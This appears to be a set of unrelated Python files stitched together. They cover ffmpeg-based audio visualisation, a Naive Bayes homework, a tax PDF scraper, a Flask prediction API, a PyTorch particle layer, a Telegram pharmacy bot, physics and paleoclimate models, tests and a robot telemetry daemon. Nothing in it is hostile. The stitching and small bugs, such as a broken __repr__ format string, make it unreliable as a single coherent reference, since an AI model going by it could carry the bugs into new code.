        self.candy_non_sort_path = '/assets/' + self.file_md5_name + '/004.png'
        img.save(self.path + '/004.png')

    # 2
    def candy_reverse(self):

        liste = np.array(self.candy_reverse_list)
        liste.sort(axis=0)

        img = Image.fromarray(liste, 'RGB')
        self.candy_reverse_path = '/assets/' + self.file_md5_name + '/005.png'
        img.save(self.path + '/005.png')

    # 3
    def candy_reverse_dark(self):

        liste = np.array(self.candy_reverse_dark_list)
        liste.sort(axis=0)

        img = Image.fromarray(liste, 'RGB')
        self.candy_reverse_dark_path = '/assets/' + self.file_md5_name + '/006.png'
        img.save(self.path + '/006.png')

    # 4
    def candy_tan(self):

        liste = np.array(self.candy_tan_list)
        liste.sort(axis=0)

        img = Image.fromarray(liste, 'RGB')
        self.candy_tan_path = '/assets/' + self.file_md5_name + '/007.png'
        img.save(self.path + '/007.png')

    def make_gif(self):
        a = os.path.join(os.path.dirname('__file__'), 'assets', self.file_md5_name)
        subprocess.call(['ffmpeg', '-framerate', '1/0.5', '-i', '%03d.png', 'output.gif'], cwd=a)
        self.gif_path = a + '/output.gif'

    def create_md5(self, fname):
        hash_md5 = hashlib.md5()
        with open(fname, "rb") as f:
            for chunk in iter(lambda: f.read(4096), b""):
                hash_md5.update(chunk)
        return hash_md5.hexdigest()

    def convert_to_wav(self, file_name, uploaded_file_path):
        path = os.path.join(os.path.dirname(__file__), uploaded_file_path)

        subprocess.call(['ffmpeg', '-i', path + '/' + file_name, '-acodec', 'pcm_u8', '-ar', '44100',
                         self.file_md5_name + '.wav'], cwd=self.path)

        new_path = os.path.join(os.path.dirname(__file__), 'assets', self.file_md5_name, self.file_md5_name + '.wav')

        samplerate, data = scipy.io.wavfile.read(new_path)
        self.samplerate = samplerate
        os.remove(new_path)

        return samplerate, data

    def get_images(self):
        images = [self.candy_path,
                  self.candy_rainbow_path,
                  self.candy_triple_sort_path,
                  self.candy_non_sort_path,
                  self.candy_reverse_path,
                  self.candy_reverse_dark_path,
                  self.candy_tan_path]
        return images

    def run(self):
        print('FİDELİO RUN')
        self.search()
        self.candy()
        self.candy_tan()
        self.candy_rainbow()
        self.candy_triple_sort()
        self.candy_reverse()
        self.candy_reverse_dark()
        self.candy_non_sort()
        self.make_gif()
        self.finished = True


import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import keygen as kg
import numpy as np

def histogram (img):
    h = np.zeros((256,))
    for i in range(height):
        for j in range(width):
            h[img[i,j]] += 1
    return h

img1 = mpimg.imread('Ảnh/MRI-brain.jpeg')
img2 = mpimg.imread('Ảnh/ảnh mã hóa.bmp')
height = img1.shape[0]
width = img1.shape[1]

h1 = histogram(img1)
h2 = histogram(img2)

plt.subplot(1, 2, 1)
plt.bar(range(256), h1)
plt.subplot(1, 2, 2)
plt.bar(range(256), h2)
plt.show()


#-------------------------------------------------------------------------
# AUTHOR: your name
# FILENAME: title of the source file
# SPECIFICATION: description of the program
# FOR: CS 4200- Assignment #2
# TIME SPENT: how long it took you to complete the assignment
#-----------------------------------------------------------*/

#IMPORTANT NOTE: DO NOT USE ANY ADVANCED PYTHON LIBRARY TO COMPLETE THIS CODE SUCH AS numpy OR pandas. You have to work here only with standard vectors and arrays

#importing some Python libraries
from sklearn.naive_bayes import GaussianNB
import csv
dbtraining =[]
target = {
    'Sunny':1,
    'Overcast':2,
    'Rain':3,
    'Hot':1,
    'Mild':2,
    'Cool':3,
    'High':1,
    'Normal':2,
    'Strong':1,
    'Weak':2
}
PT = {
    'Yes':1,
    'No':2
}
TP ={
    1:'Yes',
    2:'No'
}
#reading the training data
#--> add your Python code here
with open('weather_training.csv', 'r') as csvfile:
  reader = csv.reader(csvfile)
  for i, row in enumerate(reader):
      if i > 0: #skipping the header
         dbtraining.append (row)
#transform the original training features to numbers and add to the 4D array X. For instance Sunny = 1, Overcast = 2, Rain = 3, so X = [[3, 1, 1, 2], [1, 3, 2, 2], ...]]
#--> add your Python code here
# X =

X=[]
for item in dbtraining:
    temp=[]
    temp.append(target[item[1]])
    temp.append(target[item[2]])
    temp.append(target[item[3]])
    temp.append(target[item[4]])
    X.append(temp)
#transform the original training classes to numbers and add to the vector Y. For instance Yes = 1, No = 2, so Y = [1, 1, 2, 2, ...]
#--> add your Python code here
# Y =
Y=[]
for i in dbtraining:

    Y.append(PT[i[5]])
#fitting the naive bayes to the data
clf = GaussianNB()
clf.fit(X, Y)

#reading the data in a csv file
#--> add your Python code here
dbTest=[]
with open('weather_test.csv', 'r') as csvfile:
  reader = csv.reader(csvfile)
  for i, row in enumerate(reader):
      if i > 0: #skipping the header
         dbTest.append (row)
#printing the header os the solution
print ("Day".ljust(15) + "Outlook".ljust(15) + "Temperature".ljust(15) + "Humidity".ljust(15) + "Wind".ljust(15) + "PlayTennis".ljust(15) + "Confidence".ljust(15))

#use your test samples to make probabilistic predictions.
#--> add your Python code here
Z = []
for i in dbTest:
    temp = []
    temp.append(target[i[1]])
    temp.append(target[i[2]])
    temp.append(target[i[3]])
    temp.append(target[i[4]])
    Z.append(temp)
#-->predicted = clf.predict_proba([[3, 1, 2, 1]])[0]
    predicted_proba =clf.predict_proba([temp])[0]
    predicted = clf.predict([temp])[0]
    if predicted_proba[predicted-1] >=0.75:
     print(i[0].ljust(15) + i[1].ljust(15) + i[2].ljust(15) + i[3].ljust(15) + i[4].ljust(15) + TP[predicted].ljust(15) + str(predicted_proba[predicted-1]).ljust(15))


import datetime as dt
import warnings
import re
import sys
from tempfile import NamedTemporaryFile

import pandas as pd
import requests
import camelot
from PyPDF2 import pdf as pdf2
from PyPDF2.utils import PdfReadWarning

def get_taxes_from_pdf(start_year: int = 2020) -> pd.DataFrame:
    base_url = "https://www.dgi.gub.uy/wdgi/page?2,principal,dgi--datos-y-series-estadisticas--informes-mensuales-de-la-recaudacion-"
    extra_url = ",O,es,0,"
    reports_year = range(start_year, dt.date.today().year + 1)
    data = []
    for year in reports_year:
        url = f"{base_url}{year}{extra_url}"
        r = requests.get(url)
        pdf_urls = re.findall("afiledownload\?2,4,[0-9]{4},O,S,0,[0-9]+"
                              "%[0-9A-z]{3}%[0-9A-z]{3}%3B108,", r.text)
        pdf_urls = list(dict.fromkeys(pdf_urls))
        if len(pdf_urls) == 0:
            continue
        dates = pd.date_range(start=dt.datetime(year, 1, 1), freq="M",
                              periods=len(pdf_urls))
        if sys.platform == "win32":
            delete = False
        else:
            delete = True
        for pdf, date in zip(pdf_urls, dates):
            with NamedTemporaryFile(suffix=".pdf", delete=delete) as f:
                r = requests.get(f"https://www.dgi.gub.uy/wdgi/{pdf}")
                f.write(r.content)
                with warnings.catch_warnings():
                    warnings.filterwarnings("ignore", category=PdfReadWarning)
                    pages = pdf2.PdfFileReader(f.name).getNumPages()
                tables = camelot.read_pdf(f.name, flavor="stream",
                                          pages=str(pages), strip_text="%")
                table = tables[0].df.iloc[2:, [0, 3]]
                table.columns = ["Impuesto", date]
                table.set_index("Impuesto", inplace=True)
                table[date] = table[date].str.replace(",", ".", regex=False)
                table = (table.apply(pd.to_numeric, errors="coerce")
                         .dropna(how="any").T)
                table = table.loc[:,
                                  ["IVA",
                                   "IMESI",
                                   "IMEBA",
                                   "IRAE",
                                   "Categoría I",
                                   "Categoría II",
                                   "IASS",
                                   "IRNR",
                                   "Impuesto de Primaria",
                                   "6) Total Bruto (suma de (1) a (5))"]]
                # The may-21 table had hidden duplicate rows with different values
                # See https://www.dgi.gub.uy/wdgi/afiledownload?2,4,1879,O,S,0,36556%3BS%3B1%3B108,
                if table.shape[1] == 20:
                    table = table.iloc[:, 0:table.shape[1]:2]
                table.columns = [
                    'IVA - Valor Agregado',
                    'IMESI - Específico Interno',
                    'IMEBA - Enajenación de Bienes Agropecuarios',
                    'IRAE - Rentas de Actividades Económicas',
                    'IRPF Cat I - Renta de las Personas Físicas',
                    'IRPF Cat II - Rentas de las Personas Físicas',
                    'IASS - Asistencia a la Seguridad Social',
                    'IRNR - Rentas de No Residentes',
                    'Impuesto de Educación Primaria',
                    'Recaudación Total de la DGI']
                data.append(table)
    output = pd.concat(data)
    output.to_csv("econuy_extras/retrieval/taxes_pdf.csv")

    return output

if __name__=="__main__":
    get_taxes_from_pdf()


import pickle as pkl
from flask import Flask
from flask_cors import CORS
from flask import request
from flask import jsonify

app = Flask('heart_model')
CORS(app)

file_dictVect = 'dict_vectorizer.bin'
with open(file_dictVect, 'rb') as dictVect:
    dv = pkl.load(dictVect)

file_model = 'logistic_regression.bin'
with open(file_model, 'rb') as model:
    lr = pkl.load(model)

@app.route('/predict', methods=['POST'])
def predict():
    user = request.get_json()
    X = dv.transform([user])
    y = lr.predict_proba(X)[0][1]
    danger = y >= 0.5

    result = {'danger': bool(danger),
              'probability':float(y)}
    return jsonify(result)

if __name__ == "__main__":
    app.run(debug=True, host='localhost', port=9696)


import numbers
import numpy as np

import torch
import torch.autograd

import _ext
import _extc
import error_checking as ec
from kernels import KERNELS, KERNEL_NAMES

class ConvSP(torch.nn.Module):
    """ The Smooth Particle Convolution layer. Performs convolutions on particle sets. Each
    particle has a location in N-D space and an associated set of features. An N-D kernel
    is centered at each particle location, with the shape of the kernel and the size of
    each kernel cell being user-specified. Then the feature field induced by the set of
    particles is evaluated at each kernel cell. That is, for every feature f associated
    with the particles and kernel cell center r, a weighted average for f is taken at r
    based on the distance to nearby
    """

    def __init__(self, in_channels, out_channels, ndim, kernel_size, dilation, radius,
                 dis_norm=False, kernel_fn='default', with_params=True):
        """ Initialize a Smooth Particle Convolution layer.

        Arguments:
            -in_channels: The number of features for each input particle.
            -out_channels: The number of features to output for each particle.
            -ndim: The dimensionality of the particle's coordinate space.
            -kernel_size: (int or tuple) The shape of the kernel that is place around each
                          particle. The kernel is centered on the particle, so the size
                          must be odd.
            -dilation: (float or tuple) The spacing between each cell of the kernel.
            -radius: The radius to use when computing the neighbors for each query point.
            -kernel_fn: The kernel function to use in the SPH equation. Refer to kernels.py
                        for a list and explanation of all available functions.
            -dis_norm: If true, will divide by the particle-to-particle distance in the
                       SPH equation.
            -with_params: If true, the parameters weight and bias are registered with
                          PyTorch as parameters. Otherwise they are registered as buffers,
                          meaning they won't be optimized when doing backprop.
        """
        super(ConvSP, self).__init__()
        self.nchannels = ec.check_conditions(in_channels, "in_channels",
                                             "%s > 0", "isinstance(%s, numbers.Integral)")
        self.nkernels = ec.check_conditions(out_channels, "out_channels",
                                            "%s > 0", "isinstance(%s, numbers.Integral)")
        self.ndim = ec.check_conditions(ndim, "ndim",
                                        "%s > 0", "%s < " +
                                        str(_ext.spn_max_cartesian_dim()),
                                        "isinstance(%s, numbers.Integral)")

        self._kernel_size = ec.make_list(kernel_size, ndim, "kernel_size",
                                         "%s >= 0", "%s %% 2 == 1 # Must be odd",
                                         "isinstance(%s, numbers.Integral)")
        self._dilation = ec.make_list(dilation, ndim, "dilation",
                                      "%s >= 0", "isinstance(%s, numbers.Real)")

        self.radius = ec.check_conditions(radius, "radius",
                                          "%s >= 0", "isinstance(%s, numbers.Real)")

        self.kernel_fn = ec.check_conditions(kernel_fn, "kernel_fn",
                                             "%s in " + str(KERNEL_NAMES))
        self.kernel_fn = KERNEL_NAMES.index(self.kernel_fn)
        self.dis_norm = (1 if dis_norm else 0)

        self.ncells = np.prod(self._kernel_size)

        if with_params:
            self.register_parameter("weight", torch.nn.Parameter(torch.Tensor(self.nkernels,
                                                                              self.nchannels, self.ncells)))
            self.register_parameter(
                "bias", torch.nn.Parameter(torch.Tensor(self.nkernels)))
        else:
            self.register_buffer("weight", torch.autograd.Variable(torch.Tensor(self.nkernels,
                                                                                self.nchannels, self.ncells)))
            self.register_buffer("bias", torch.autograd.Variable(
                torch.Tensor(self.nkernels)))

        self.register_buffer("kernel_size", ec.list2tensor(self._kernel_size))
        self.register_buffer("dilation", ec.list2tensor(self._dilation))

        self.nshared_device_mem = -1
        self.device_id = -1

    def forward(self, locs, data, neighbors, qlocs=None):
        """ Compute a forward pass of the Smooth Particle Convolution Layer.

        Inputs:
            -locs: A BxNxD tensor where B is the batch size, N is the number
                   of particles, and D is the dimensionality of the particles'
                   coordinate space.
            -data: A BxNxC tensor where C is the number of input features.
            -neighbors: A BxMxK tensor where K is the maximum number of neighbors.
                        For each particle, this is the list of particle indices
                        that are considered neighbors. If the number of neighbors
                        is less than K, the less is ended with a -1.
            -qlocs: A BxMxD of query locations. Specify this if you want the query
                    locations to be different from the particle locations.

        Returns: A BxMxO tensor where O is the number of output features. Computed at qlocs.
        """

        # Error checking.
        batch_size = locs.size()[0]
        N = locs.size()[1]
        ec.check_tensor_dims(locs, "locs", (batch_size, N, self.ndim))
        ec.check_tensor_dims(data, "data", (batch_size, N, self.nchannels))

        locs = locs.contiguous()
        data = data.contiguous()

        if qlocs is not None:
            ec.check_tensor_dims(qlocs, "qlocs", (batch_size, -1, self.ndim))
            qlocs = qlocs.contiguous()

        if locs.is_cuda:
            if self.device_id != torch.cuda.current_device():
                self.device_id = torch.cuda.current_device()
                self.nshared_device_mem = _extc.spnc_get_shared_mem_size(
                    self.device_id)

        # Do the compution.
        convsp = _ConvSPFunction(self.radius, self.kernel_size, self.dilation,
                                 self.dis_norm, self.kernel_fn, self.ncells, self.nshared_device_mem)
        # data.shape = BxCxN
        data = convsp(qlocs if qlocs is not None else locs,
                      locs, data, neighbors, self.weight, self.bias)
        # data.shape = BxOxN
        return data

"""

INTERNAL FUNCTIONS

"""

class _ConvSPFunction(torch.autograd.Function):

    def __init__(self, radius, kernel_size, dilation, dis_norm, kernel_fn,
                 ncells, nshared_device_mem=-1):
        super(_ConvSPFunction, self).__init__()
        self.radius = radius
        self.kernel_size = kernel_size
        self.dilation = dilation
        self.dis_norm = dis_norm
        self.kernel_fn = kernel_fn
        self.ncells = ncells
        self.nshared_device_mem = nshared_device_mem

    def forward(self, qlocs, locs, data, neighbors, weight, bias):
        self.save_for_backward(qlocs, locs, data, neighbors, weight, bias)
        batch_size = locs.size()[0]
        M = qlocs.size()[1]
        nkernels = weight.size()[0]
        ret = data.new(batch_size, M, nkernels)
        ret.fill_(0)
        if locs.is_cuda:
            if not _extc.spnc_convsp_forward(qlocs, locs, data, neighbors, weight, bias, self.radius,
                                             self.kernel_size, self.dilation, self.dis_norm, self.kernel_fn, ret,
                                             self.nshared_device_mem):
                raise Exception("Cuda error")
        else:
            _ext.spn_convsp_forward(qlocs, locs, data, neighbors, weight, bias, self.radius,
                                    self.kernel_size, self.dilation, self.dis_norm, self.kernel_fn, ret)

        # Add the bias.
        ret += bias.view(1, 1, nkernels)

        return ret

    def backward(self, grad_output):
        qlocs, locs, data, neighbors, weight, bias = self.saved_tensors
        ret_qlocs = grad_output.new(qlocs.size())
        ret_qlocs.fill_(0)
        ret_locs = grad_output.new(locs.size())
        ret_locs.fill_(0)
        ret_data = grad_output.new(data.size())
        ret_data.fill_(0)
        ret_weight = grad_output.new(weight.size())
        ret_weight.fill_(0)
        if grad_output.is_cuda:
            if not _extc.spnc_convsp_backward(qlocs, locs, data, neighbors, weight, bias, self.radius,
                                              self.kernel_size, self.dilation, self.dis_norm, self.kernel_fn,
                                              grad_output, ret_qlocs, ret_locs, ret_data, ret_weight,
                                              self.nshared_device_mem):
                raise Exception("Cuda error")
        else:
            _ext.spn_convsp_backward(qlocs, locs, data, neighbors, weight, bias, self.radius,
                                     self.kernel_size, self.dilation, self.dis_norm, self.kernel_fn,
                                     grad_output, ret_qlocs, ret_locs, ret_data, ret_weight)
        # PyTorch requires gradients for each input, but we don't care about the
        # gradients for neighbors, so set that to all 0s.
        return (ret_qlocs,
                ret_locs,
                ret_data,
                grad_output.new(neighbors.size()).fill_(0),
                ret_weight,
                grad_output.sum(1).sum(0))


from aiogram import Bot, types
from aiogram.dispatcher import Dispatcher
from aiogram.types import InputMediaVideo
from aiogram.utils import executor
from aiogram.utils.markdown import bold

from config import TOKEN

bot = Bot(token=TOKEN)
dp = Dispatcher(bot)

cities = {
    "Калининград" : ["Аптека №12 ул. Багратиона 53а","Здоровье Дзержинского 19"],
    "Багратионовск" : ["Аптека №11 ул. Центральная 5","Здоровье Багратиона 1"]
         }
@dp.message_handler(commands=["start"])
async def process_start_command(message: types.Message):
    await message.reply("Привет\nНапиши мне город")

@dp.message_handler()
async def process_multimedia_command(message: types.Message):
    data = cities[message.text]
    for item in data:
        await message.answer(item)

if __name__ == "__main__":
    executor.start_polling(dp)


import numpy as np
import matplotlib.pyplot as plt
from utils import euler_method, graph_all, get_axis
from formulas import (
    power2force,
    force2acceleration,
    air_resistance_force,
    get_gravity_projections,
    friction_force,
)

def horse2watt(horsepower):
    return horsepower * 745.7

# Constants

GRAVITY = 9.81
RESISTANCE_COEFFICIENT = 0.9
FRONTAL_AREA = 0.3
AIR_DENSITY = 1.225
FRICTION_COEFFICIENT = 0.004

# Variables
power = horse2watt(0.4)
mass = 75

# Initial conditions
initial_position_x = np.array([0, 0, 0])
initial_velocity_x = np.array([1, 0, 0])
initial_acceleration_x = np.array([power / (mass * initial_velocity_x[0]), 0, 0])

# Time
TIME_STEP = 0.001
TIME_START, TIME_END = 0, 200
TIME = np.arange(TIME_START, TIME_END, TIME_STEP)
N = len(TIME)

def acceleration_formula(a, velocity, p):
    vx, vy, vz = velocity
    abs_velocity = abs(vx)
    abs_velocity_sqrd = abs_velocity * vx

    acceleration_x = (
        power / (mass * vx)
        - (RESISTANCE_COEFFICIENT * FRONTAL_AREA * AIR_DENSITY * abs_velocity_sqrd)
        / (2 * mass)
        - (FRICTION_COEFFICIENT * GRAVITY)
    )

    acceleration = np.array([acceleration_x, 0, 0])

    return acceleration

def acceleration_formula2(a, velocity, p):
    force = (
        power2force(power, velocity)
        + air_resistance_force(RESISTANCE_COEFFICIENT, FRONTAL_AREA, velocity)
        + friction_force(velocity, FRICTION_COEFFICIENT, GRAVITY)
    )

    acceleration = force2acceleration(force, mass)

    return acceleration

def main():
    p, v, a = euler_method(
        TIME,
        TIME_STEP,
        initial_acceleration=initial_acceleration_x,
        initial_velocity=initial_velocity_x,
        initial_position=initial_position_x,
        acceleration_formula=acceleration_formula2,
        cromer=True,
    )

    px = get_axis(p, 0)
    vx = get_axis(v, 0)
    ax = get_axis(a, 0)
    arrays = [px, vx, ax]

    print("Terminal velocity: ", np.max(vx))

    fig, ax = plt.subplots(1, 3, figsize=(16, 8))

    graph_all(ax, TIME, arrays, ["Position", "Velocity", "Acceleration"], grid=False)

    plt.show()

if __name__ == "__main__":
    main()


import pyflo.ports

import pytest
from unittest.mock import Mock

def test_invalid_event_type():
    port = pyflo.ports.Inport({"name": "test"})
    with pytest.raises(KeyError):
        port.on('dummy', print)

def test_decorator():
    port = pyflo.ports.Inport({"name": "test"})
    mock = Mock()

    @port.on("data")
    def some_function(data):
        mock(data)

    port.data("data")

    mock.assert_called_once_with("data")

def test_connect():
    inport = pyflo.ports.Inport({"name": "in"})
    mock = Mock()
    inport.on('connect', mock)
    outport = pyflo.ports.Outport({"name": "out"})

    outport.connect(inport)
    assert inport in outport.listeners
    mock.assert_called_once_with()
    assert inport.attached()

def test_begin_end_group():
    inport = pyflo.ports.Inport({"name": "in"})
    mock = Mock()
    mock2 = Mock()
    inport.on('beginGroup', mock)
    inport.on('endGroup', mock2)
    outport = pyflo.ports.Outport({"name": "out"})

    outport.connect(inport)
    outport.begin_group()
    mock.assert_called_once_with()
    mock2.assert_not_called()
    outport.end_group()
    mock2.assert_called_once_with()

def test_send_data():
    inport = pyflo.ports.Inport({"name": "in"})
    mock = Mock()
    inport.on('data', mock)
    outport = pyflo.ports.Outport({"name": "out"})

    outport.connect(inport)
    outport.send_data("data")
    mock.assert_called_once_with("data")

def test_disconnect():
    inport = pyflo.ports.Inport({"name": "in"})
    mock = Mock()
    inport.on('disconnect', mock)
    outport = pyflo.ports.Outport({"name": "out"})

    outport.connect(inport)
    outport.disconnect()
    mock.assert_called_once_with()

def test_pass_through():
    external_port = pyflo.ports.Outport({"name": "out"})
    ptp = pyflo.ports.PassThroughPort({"name": "pass"})
    internal_port = pyflo.ports.Inport({"name"})

    mock = Mock()
    internal_port.on("data", mock)

    external_port.connect(ptp)
    ptp.connect(internal_port)

    external_port.send_data("data")
    mock.assert_called_once_with("data")


"""
Srhmd.py
Daemon running on robot hosts that:
    - Extracts extrinsic data and keeps state
    - Extracts intrinsic data and aggregates with extrinsic data
    - Sends aggregated message to server
"""

from Comms import Comms, Message
import threading
import psutil
import time
import json
import socket

class Srhmd:
    def __init__(self, config_path="resources/srhmd_test_config.json"):
        """
        Attributes:
            - name: String
                Robot identifier
            - comms: Comms
                Message queue manager
                Set up producer to server IP on port 3000
                Set up consumer on port 3100 to accept sensor data
            - ext_states: Dict<String:Float>
                Extrinsic data states
            - update_interval: Float
                Extrinsic sensor read rate
            - agg_interval: Float
                Messaging rate to server
        """
        self.name = self.get_ip()
        self.comms = Comms()
        self.comms.add_subscriber_port('127.0.0.1', '3100', 'ext_sensors')

        self.ext_sensors = dict()

        with open(config_path) as f:
            config = json.load(f)
        self.comms.add_publisher_port('*', config['port'], self.name)
        self.update_interval = float(config['update_interval'])
        self.agg_interval = float(config['agg_interval'])

    @staticmethod
    def get_ip():
        """Grab host ip"""
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('10.255.255.255', 1))
            IP = s.getsockname()[0]
        except Exception:
            IP = '127.0.0.1'
        finally:
            s.close()
        return IP

    def update_ext(self):
        """
        Threaded
        Poll consumer for new sensor states and update ext_states
        :return:
            None
        """
        while True:
            # Poll all messages in buffer and substitute into ext_sensors
            msg = self.comms.get('ext_sensors')
            if msg is not None:
                key = next(iter(msg.payload))
                self.ext_sensors[key] = msg.payload.get(key)
                time.sleep(self.update_interval)

    def aggregator(self):
        """
        Threaded
        Extract intrinsic data and aggregate with ext_states
        Assemble message and publish to server
        :return:
            None
        """
        while True:
            # Payload dictionary
            payload = dict()

            # Core speed
            payload["cpu_freq"] = psutil.cpu_freq().current

            # Cpu usage
            for count, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)):
                payload["cpu_percent" + str(count)] = percentage
            payload["cpu_percent"] = psutil.cpu_percent()

            # Memory usage
            svmem = psutil.virtual_memory()
            payload["svmem_total"] = svmem.total
            payload["svmem_available"] = svmem.available
            payload["svmem_used"] = svmem.used
            payload["svmem_percentage"] = svmem.percent

            # Aggregate with external sensors
            payload.update(self.ext_sensors)

            # Send payload
            print(payload)
            self.comms.send(self.name, Message(self.name, payload))

            # Refresh rate
            time.sleep(self.agg_interval)

    def run(self):
        """
        Start update_ext and aggregator threads
        :return:
            None
        """
        threads = []
        t = threading.Thread(target=self.update_ext)
        threads.append(t)
        t = threading.Thread(target=self.aggregator)
        threads.append(t)

        for thread in threads:
            thread.start()
        for thread in threads:
            thread.join()

if __name__ == "__main__":
    # Local boilerplate
    srhmd = Srhmd("srhmd_conf/config.json")
    srhmd.run()


from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, MetaData, ForeignKey
from sqlalchemy.orm import relationship

Base = declarative_base()
metadata = MetaData()

# Don't forget to add password attribut on users table

class User(Base):
    __tablename__ = 'user'

    id = Column(Integer, primary_key=True)
    name = Column(String)
    firstname = Column(String)
    addresses = relationship('Address', backref='user')

    def __init__(self, name, firstname, addresses=[]):
        self.name = name
        self.firstname = firstname
        self.addresses = addresses

    def __repr__(self):
        return "<User(name='%s', firstname'%s', email='%s')>" % (
            self.name, self.firstname)

class Address(Base):
    __tablename__ = 'address'
    id = Column(Integer, primary_key=True)
    email = Column(String)
    user_id = Column(Integer, ForeignKey('user.id'))

    def __repr__(self):
        return "<Address(email='%s')>" % (
            self.email)

if __name__ == '__main__':
    engine = create_engine('postgresql://localhost/ingredients_db')

    print("--- Construct all tables for the database (here just one table) ---")
    Base.metadata.create_all(engine)

    print("--- Create three new contacts and push its into the database ---")
    Session = sessionmaker(bind=engine)
    session = Session()
    a = Address(email='fred@aol.com')
    session.add(User(name='wendy', firstname='Williams'))
    # p.addresses.append(a)
    session.add(a)
    # session.add(p)
    session.commit()


# Sylvia Dee
# PSM d18O Speleothem Calcite
# SENSOR SUB-MODEL
# Created 07/02/2014 <sdee@usc.edu>
# Modified 10/28/2014 <julieneg@usc.edu>

# import necessary modules
import numpy as np
import scipy.integrate as si
import scipy.special as sp
import psm.aux_functions.butter_lowpass_filter as bwf
# define utility functions for lowpass filtering

def adv_disp_transit(tau,tau0,Pe):
    #  advection-dispersion model [3]
    z0 = -0.5*np.sqrt(Pe*tau/tau0)   #(Eq 12a)
    zL = np.sqrt(Pe/tau*tau0) + z0   #(Eq 12b)
    h  = np.sqrt(1/(Pe*4*np.pi*tau/tau0))*np.exp(-0.25*Pe*tau/tau0)*(1 - np.exp(z0**2-zL**2)) + 0.25*(sp.erf(zL) - sp.erf(z0))  # Eq(11)
    return h

#  this is the sensor model
def speleo_sensor(t,d18O,T,dt,model='Adv-Disp',tau0=1.0,Pe=1.0):
    '''
    Speleothem Calcite [Sensor] Model
    Converts environmental signals to d18O calcite/dripwater using
    various models of karst aquifer recharge and calcification.

    INPUTS:
        dt        time step [years]                         (int or float, 1=1 year, 1./12. for months. etc.)
        t        time axis [years]                          (numpy array, length n)
        T        Average Annual Temperature     [K]         (numpy array, length n)
        d18O    delta-18-O (precip or soil water) [permil]  (numpy array, length n)
        NB: make sure these are precipitation weighted

    MODEL PARAMETERS
    ================
        model:  aquifer recharge model. possible values 'Well-Mixed'[1,2] or 'Adv-Disp' [3]
        tau0: mean transit time, [years]    (default = 0.5)
        Pe: Peclet number [non-dimensional] (default = 1.0) ('Adv-Disp' only)

     OUTPUTS:
         d18Oc  cave dripwater delta-18-O
         d18OK  delta-18-O of water after passage through karst
         h      transit time distribution

    REFERNCES:
        [1] Gelhar and Wilson: Ground Water Quality Modeling, Ground Water, 12(6):399--408
        [2] Partin et al., Geology, 2013, doi:10.1130/G34718.1  (SI)
        [3] Kirchner, J. W., X. Feng, and C. Neal (2001), Catchment-scale advection and dispersion as a mechanism for fractal scaling in stream
        [4] Wackerbarth et al. Modelling the d18O value of cave drip water and speleothem calcite, EPSL, 2010    doi:10.1016/j.epsl.2010.09.019
    '''
    #======================================================================
    # 1. Karst Model
    #======================================================================
    # ensure that tau0 is scaled correctly
    # (n.b. if in units of months, scale to years, *1/12)

    tau0=tau0*dt

    # Check to make sure mean residence time does not exceed 0.5 x [time series length]
    # It makes little sense to compute mixing with a long residence time with an extremely short timeseries.

    timeseries_len=len(d18O)#*dt
    if (tau0>=(0.5*timeseries_len)):
        print("Warning: mean residence time (tau0) is too close to half of the length of the timeseries.")

    # establish kernel length for transit time distribution
    # tau=np.arange(20.*tau0) {SDEE: revised 11/17/15}

    h_s=1E-4                        # ensure kernel approaches 0
    tau_s=-tau0*np.log(tau0*h_s)
    tau=np.arange(tau_s)

    # np.convolve method will freakout if the length of the kernel approaches that of the series.
    #return an error message and not perform the calculation: the effect of a kernel
    #of length L is roughly felt over 2*L +1, so 7 years in this case, which is the the length of the series.
    #Physically, it makes little sense to try and compute this in the first place,
    #so it would be better to explain to the user why this shouldn’t be attempted rather than return a meaningless estimate.

    if (len(tau)>=(0.5*timeseries_len)):
        print("Error: kernel length is too close to half of the length of the timeseries. This will result in spurious numerical effects: the effect of a kernel of length L is roughly felt over 2*L+1. Consider revising.")

    # define the transit time distribution h(tau) owing to several models
    if model == 'Well-Mixed':  # well-mixed reservoir model as in [1,2]
        h = (1./tau0) * np.exp(-tau/tau0)
    elif model == 'Adv-Disp':  #  advection-dispersion model [3]
        h = adv_disp_transit(tau,tau0,Pe)
        h[0] = adv_disp_transit(1e-3,tau0,Pe) # fix the pathological case at tau = 0
    else:
        print("Error: model " + model + " not found")

    # obtain normalization constant using Simpson's rule
    hint = si.simps(h,tau)
    # normalize transit time distribution
    h = h/hint

    # Normalize h to the min value of the timeseries
    #mindiff=min(np.abs(d18O-d18Om))

    # Remove mean to avoid boundary effects. (then put it back)
    d18Om = np.mean(d18O)

    # Shrink the exponential such that it doesn't add spurious variance to the resulting dripwater signal.
    hmax=max(np.abs(d18O-d18Om))
    #h=h/hmax
    h = h/np.sum(h)

    #convolve d18O input with the transit time distribution (Green's function of the problem)
    # this yields the d18O of aquifer water, after passage through the karst

    #d18OK = np.convolve((d18O-d18Om),h,mode='same') + d18Om
    d18OK = np.convolve((d18O-d18Om),h,mode='full') + d18Om

    # return to original shape
    #d18OK = d18OK[0:Ldata]
    #======================================================================
    #   2. Dripwater Model
    #======================================================================
    # NB: right now this is only temperature-Dependent Fractionation, but one could
    #    add any number of relevant processes here, as in [4]
    # NB: we assume yearly data, so T is the yearly average temperature for each time step.
    #   the "average temperature" used for the thermal fractionation calculation is
    #   somewhat arbitrarily the decadal average.
    #======================================================================
    # SDEE: use next part for yearly data/longer term speleos only.
    #avg_period = 10.0
    #Tm = np.mean(T)  # extract mean
    # lowpass filter the  temperature
    #Tl = bwf.filter(T-Tm,1.0/avg_period) + Tm
    #Tl = filter(T-Tm,1.0/avg_period) + Tm
    #======================================================================
    # apply thermal fractionation (Eq 11 in [4])
    Tl = T
    d18Oc = (d18OK + 1000)/1.03086*np.exp(2780/Tl**2 - 0.00289)-1000.0
#======================================================================
    return (d18Oc, d18OK, h, tau)


from django.urls import path

from teacher import views

urlpatterns = [
    path('create-teacher/', views.TeacherCreateView.as_view(), name='create-teacher'),
    path('list-of-teachers/', views.TeachersListView.as_view(), name='list_of_teachers'),
    path('update-teacher/<int:pk>', views.TeacherUpdateView.as_view(), name='update_teacher'),
    path('details-teacher/<int:pk>', views.TeacherDetailView.as_view(), name='details_teacher'),
    path('delete-teacher/<int:pk>', views.TeacherDeleteView.as_view(), name='delete_teacher'),
